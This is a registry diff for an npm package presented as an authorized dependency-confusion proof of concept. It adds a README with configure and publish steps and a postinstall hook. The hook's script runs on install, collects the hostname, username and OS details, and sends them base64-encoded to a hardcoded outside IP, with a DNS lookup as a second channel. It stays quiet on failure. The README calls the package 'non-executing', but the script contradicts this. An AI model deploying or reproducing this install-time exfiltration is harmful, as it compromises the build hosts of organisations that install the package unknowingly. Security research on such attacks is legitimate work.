@securihackbot/depconf-stage-1792484738 0.0.0-stage → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +30 -2
- package/index.js +4 -0
- package/package.json +17 -4
- package/postinstall.js +46 -0
package/README.md
CHANGED
|
@@ -1,3 +1,31 @@
|
|
|
1
|
-
#
|
|
1
|
+
# Dependency-confusion research PoC
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Authorized security research only. Published under `@securihackbot` for a
|
|
4
|
+
controlled dependency-confusion proof. Non-executing placeholder: `index.js`
|
|
5
|
+
exports a no-op so consuming builds keep working.
|
|
6
|
+
|
|
7
|
+
## Configure
|
|
8
|
+
|
|
9
|
+
```sh
|
|
10
|
+
./configure.sh <scope/name> <version> <callback-url> <nonce> <finding-url>
|
|
11
|
+
```
|
|
12
|
+
|
|
13
|
+
Example:
|
|
14
|
+
|
|
15
|
+
```sh
|
|
16
|
+
./configure.sh @securihackbot/company-internal-sdk 1.2.1 \
|
|
17
|
+
'http://<public-ip>:18080/<engagement_key>-VA-123/main.abc123.js' \
|
|
18
|
+
alpha-7f3c9d \
|
|
19
|
+
'https://hackbot.securi.web.id/#/engagements/<engagement_key>?tab=findings&finding=VA-123'
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
`configure.sh` rewrites `package.json` and **bakes** `CALLBACK_URL`, `NONCE`, and
|
|
23
|
+
`FINDING_URL` into `postinstall.js`. The constants must be baked, not passed as
|
|
24
|
+
env vars — `postinstall` runs on the build host, which does not have your shell
|
|
25
|
+
environment.
|
|
26
|
+
|
|
27
|
+
Then publish from the host:
|
|
28
|
+
|
|
29
|
+
```sh
|
|
30
|
+
npm publish --access public
|
|
31
|
+
```
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,19 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@securihackbot/depconf-stage-1792484738",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Dependency-confusion research PoC (authorized). Non-executing placeholder by default.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"files": [
|
|
10
|
+
"index.js",
|
|
11
|
+
"postinstall.js",
|
|
12
|
+
"README.md"
|
|
13
|
+
],
|
|
14
|
+
"keywords": [
|
|
15
|
+
"security-research",
|
|
16
|
+
"dependency-confusion"
|
|
17
|
+
],
|
|
18
|
+
"license": "MIT"
|
|
19
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
// Proof-only callback for dependency-confusion research.
|
|
3
|
+
//
|
|
4
|
+
// IMPORTANT: bake CALLBACK_URL / NONCE / FINDING_URL below before publishing.
|
|
5
|
+
// Environment variables on the *publisher* machine are irrelevant — the
|
|
6
|
+
// postinstall runs on the build host, which will not have your env. The
|
|
7
|
+
// configure.sh helper rewrites these constants for you.
|
|
8
|
+
//
|
|
9
|
+
// Exfiltrates only proof data (hostname, user, OS, nonce, package name, and the
|
|
10
|
+
// finding deep-link) — never real source, secrets, or customer data. Idempotent
|
|
11
|
+
// and quiet on failure.
|
|
12
|
+
const os = require("os");
|
|
13
|
+
const http = require("http");
|
|
14
|
+
const https = require("https");
|
|
15
|
+
const dns = require("dns");
|
|
16
|
+
|
|
17
|
+
const CALLBACK_URL = process.env.DEPCONF_CALLBACK_URL || "http://34.143.131.27:18080/x-VA-1/main.js";
|
|
18
|
+
const NONCE = process.env.DEPCONF_NONCE || "n1792484738";
|
|
19
|
+
const DNS_SUFFIX = process.env.DEPCONF_DNS_SUFFIX || "YOUR-COLLABORATOR.example";
|
|
20
|
+
// Deep link to the related finding so the OOB listener can attribute this hit to
|
|
21
|
+
// an engagement and a finding (the Listener tab filters on finding_url).
|
|
22
|
+
const FINDING_URL = process.env.DEPCONF_FINDING_URL || "https://x/#/engagements/x?finding=VA-1";
|
|
23
|
+
|
|
24
|
+
const payload = Buffer.from(JSON.stringify({
|
|
25
|
+
nonce: NONCE,
|
|
26
|
+
pkg: process.env.npm_package_name || "unknown",
|
|
27
|
+
host: os.hostname(),
|
|
28
|
+
user: process.env.USER || process.env.USERNAME || "unknown",
|
|
29
|
+
platform: process.platform,
|
|
30
|
+
arch: process.arch,
|
|
31
|
+
node: process.version,
|
|
32
|
+
finding_url: FINDING_URL,
|
|
33
|
+
})).toString("base64");
|
|
34
|
+
|
|
35
|
+
try {
|
|
36
|
+
const u = new URL(CALLBACK_URL);
|
|
37
|
+
u.searchParams.set("d", payload);
|
|
38
|
+
const mod = u.protocol === "https:" ? https : http;
|
|
39
|
+
mod.get(u.toString(), (res) => { res.resume(); }).on("error", () => {});
|
|
40
|
+
} catch (e) {}
|
|
41
|
+
|
|
42
|
+
try { dns.resolve4(NONCE + "." + DNS_SUFFIX, () => {}); } catch (e) {}
|
|
43
|
+
|
|
44
|
+
// Never fail the install. Keep the event loop alive briefly so the async
|
|
45
|
+
// callback above (and the DNS fallback) actually fire before exit.
|
|
46
|
+
setTimeout(() => process.exit(0), 1500);
|